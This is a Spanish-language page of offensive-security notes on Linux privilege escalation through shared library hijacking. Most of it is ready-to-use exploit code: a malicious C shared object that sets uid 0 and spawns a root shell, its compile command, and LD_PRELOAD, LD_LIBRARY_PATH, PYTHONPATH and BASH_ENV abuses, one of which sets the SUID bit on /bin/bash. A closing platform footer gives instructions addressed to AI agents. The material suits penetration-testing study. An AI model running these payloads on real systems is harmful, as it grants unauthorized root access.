> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/shared-library-hijacking.md).

# Secuestro de bibliotecas compartidas

El secuestro de bibliotecas compartidas abusa del cargador dinámico cuando un binario privilegiado carga un objeto compartido faltante, escribible o controlado por el atacante. Un malicioso `.so` puede ejecutar código con los privilegios del proceso de carga.

## Metodología

* Utilice `ldd`, `strace`, o la salida de error para encontrar bibliotecas faltantes o con permiso de escritura.
* Confirma la ruta de búsqueda de bibliotecas y si el binario privilegiado carga el objeto controlado.
* Compila una carga útil mínima de objeto compartido y activa el binario privilegiado.

## Comprobaciones rápidas

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD y LD\_LIBRARY\_PATH

Cuando una regla de sudo preserva variables del cargador o una ruta de ejecución privilegiada permite rutas de búsqueda de bibliotecas controladas, un objeto compartido malicioso puede ejecutarse como el usuario privilegiado.

Crea una biblioteca compartida mínima:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

Compílalo:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

Úsalo solo cuando el contexto de ejecución objetivo realmente preserve o respete la variable del cargador:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Variables de entorno de sudo

Comprueba si sudo preserva variables peligrosas:

```bash
sudo -l
```

Interesantes `env_keep` incluyen:

| Variable          | Idea de abuso                                                                               |
| ----------------- | ------------------------------------------------------------------------------------------- |
| `LD_PRELOAD`      | Cargar un objeto compartido malicioso antes de las bibliotecas normales.                    |
| `LD_LIBRARY_PATH` | Redirigir la búsqueda de bibliotecas a rutas controladas por el atacante.                   |
| `PATH`            | Forzar la ejecución de comandos relativos a través de binarios controlados por el atacante. |
| `PYTHONPATH`      | Cargar módulos maliciosos de Python en código de Python ejecutado con sudo.                 |
| `PERL5LIB`        | Cargar módulos maliciosos de Perl en código de Perl ejecutado con sudo.                     |

### Ejemplo de PYTHONPATH

Si una regla de sudo ejecuta Python y preserva `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### Ejemplo de BASH\_ENV

Si un programa privilegiado ejecuta `sh` de una manera que cargue `BASH_ENV`, prueba con un script controlado:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>Secuestro de biblioteca compartida libwelcome.so</h4></td><td>Notas sobre secuestro de bibliotecas compartidas (libwelcome.so) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/pages/8ae4100a348e6343a5e6e5a5838e22bf1ab5ffc7">/pages/8ae4100a348e6343a5e6e5a5838e22bf1ab5ffc7</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/shared-library-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
